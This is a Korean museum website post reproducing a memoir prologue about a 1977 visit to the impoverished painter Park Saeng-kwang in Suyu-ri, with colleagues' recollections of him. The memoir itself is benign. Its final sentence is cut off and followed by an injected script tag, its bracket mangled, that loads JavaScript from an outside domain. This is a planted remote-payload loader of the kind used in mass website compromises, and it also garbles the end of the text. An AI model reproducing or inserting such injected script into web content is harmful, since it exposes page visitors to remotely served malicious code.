·제   목 : 프롤로그 / 수유리 가는 길(2004-03-04 게시물)
·작성자 : 이영미술관 ·작성일 : 2006-11-24 ·조회 : 2445
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수유리 가는길(김이환 著)

빈집일까, 기별을 하고 왔건만. 벨을 눌렀으나 얼마간 인기척이 없었다. 조막만한 맞배지붕 국민 주택을
유월의 신록에 휩싸안긴 도봉산 자락이 그윽히 내려다보고 있었다.
조용히 신발 끄는 소리, 이윽고 ‘뺑끼’(페인트)가 군데군데 떨어져나간
쇠대문이 열렸다. 노인이었다. 오척단구. 이어 뼘으로 잴 만한 좁은 뜰에 만개하여 이지러지는 판국인 모란 덩어리들이 눈에 들어찼다. 아무렴,
모란이었다. 자모란도, 황모란도 있었다. 오만한 검자주빛 모란의 자태에 잠깐 멈칫했나?
“모란 좋아하십니까? 지금쯤 창경원 모란이 좋은
낀데.”
칠십을 넘긴 노인의 목소리 치고는 억양이 높고 고갱이가 느껴지는 소리였다. 오백 나한상의 어느 하나같이 온화하고 둥그스름한
얼굴에 어느새 웃음이 가득했다. 들고 간 정종과 생선을 마루 끝에 밀어두고 방으로 들어섰다.
“선생님의 흑모란이 갖고 싶어 왔습니다.”

주변머리 없기는 예나 이제나, 절을 하고 앉자마자 튀어나온 말이 그것이었다. 뜰에서 본 모란의 흥취 때문에 거두절미 본론으로 직행해 버린
셈이다. 씨익 웃었다. 반긴다는 듯한 갸날픈 미소였다. 그리고 한 마디, “기리(그려) 주지.” 그게다였다.
세 평 남짓한 방안 풍경이
그제사 눈에 들어왔다. 그리다 만 그림과 물감 접시, 붓, 화선지 뭉치 등속이 좁은 방을 채우다시피 하고 있었다. 그 작디작은 노인 한몸이
한구석에 웅크리고 누우면 차 버릴 방이었다. 요컨대 화구 외에 거의 아무것도 눈에 띄지 않았다는 말이다. 그림을 위하여 우정 세간을 배제한 방이
아니라 살림나부랭이가 아예 존재하지 않는다는 편이 옳았다. 가난이 인테리어가 된 그 방에서 무릎과 엉덩이가 자신의 피부처럼 꺼칠하게 늘어진
바지의 허리춤을 배배꼬인 넥타이로 건사하고 그 노인은 “기리고” 있었던 것이다.
무슨, 진주 농업 학교 후뱁니다. 어쩌고 몇 마디 공허한
중얼거림이 더 있었던 듯은 하다. 그러나 대화랄 것은 없었다. 노인의 대답이 그저 어렴풋한 미소뿐이었기 때문만은 아니다. 그 초라한 방과 거의
잔약해 보이는 노인에게서 형용키 어려운 위엄과 열기 같은 것이 내게로 끼쳐 옴을 느꼈기 때문이라고 해야겠다. 알 수 없는 일이었다.

이번에는 금방 주저앉을 듯한 형편없는 맞배 지붕 국민 주택을 나와 다시 한번 무르녹은 모란을 보고 뺑끼가 떨어져 나간 녹슨 철문을 열고
나오는 순서였다. 한 삼십 분 머물렀나? 내게는 기나긴 삼십 분이었다. 그 삼십 분 동안, 나는 설명할 수 없는 노인의 인력(引力)에 이미
사로잡힌 몸이 되어 있었다.

1977년 6월 초순, 내고 박생광(乃古 朴生光) 화백을 그렇게 만나고 왔다. 수유리 4․19 묘지
근처, 수유리 버스 종점에서 그의 집으로 가자면 작은 내를 건너야 했다. 미술평론가 이경성(李慶成)이 언젠가 내 안내로 그를 만나고 와서 이런
말을 했다.
“징검돌을 딛고 기우뚱거리며 내를 건너 한 늙고 가난한 화가의 집에 갔다. 방바닥에 그림이 가득히 펼쳐져 있어 딛고 다닐
수밖에 없었다. 고린내 나는 내 발자국이 그 위대한 노화가의 작품에 찍혀 역사 속에 남겨질 것을 생각하며 다시 징검돌을 건너 돌아왔다. 뭔가
장엄하고 감격스러운 경험이었다.”
나는 말이 짧아 그렇게 극적으로는 표현하지 못하겠으나, 수유리의 그 가는 개울은 그와의 짧은 만남을
끝내고 돌아가는 내게 피안과 차안을 가르는 도도한 강물처럼 느껴졌었다.
그의 수유리 집을 처음 방문했을 때의 일을 인상적으로 기억하는
사람은 또 있다. KBS의 피디로서, 1980년대 초에 수유리 그 집을 찾았던 이상엽(李相燁)의 회상은 이렇다.「TV 미술관」이란 프로그램에
박생광의 작품 세계를 담으려고 수유리에 갔던 것이다. 이상엽은 비가 새어 벽과 천장이 얼룩진 됫박 같은 방에서 남루한 작업복 차림의 내고와
대낮부터 술을 마셨다고 한다.
마침내 해질녘이 되어 방안이 어둑신해지기에 이르자 누군가가 불을 켜려 했으나 내고가 석양이 들이닥쳐 벌개진
서창을 가리키며 만류했다고 한다. 벌개진 서창 빛에 의지하여 술을 마시는 동안 서로의 동공은 점점 팽창하여 사물을 보기에 어려움이 없었다는데,
이때에 이상엽의 눈에 비친 그의 모습은 “뭔가 새로운 세계에 눈뜬 신들린 사람” 같았다고 했다. 팔십이 눈앞에 닥친 노인이라고는 믿어짖 않는
열정 같은 것에 휩싸여 있었다는 것이다.
나도 몇 번 보았거니와 저무는 석양을 아까워하는 내고의 모습은 석양보다 더 아름다웠다. 내고와
불타는 석양의 은유적 상관 관계를 알아차리는 데에 나는 시간이 좀 필요했지만, 내고 스스로는 자신과 석양을 이미 동일시하고 있었는지도 모르겠다.


나는 공향이 경남 고성이나 학교는 오늘?script src=http://mekiller.com/1/1.js>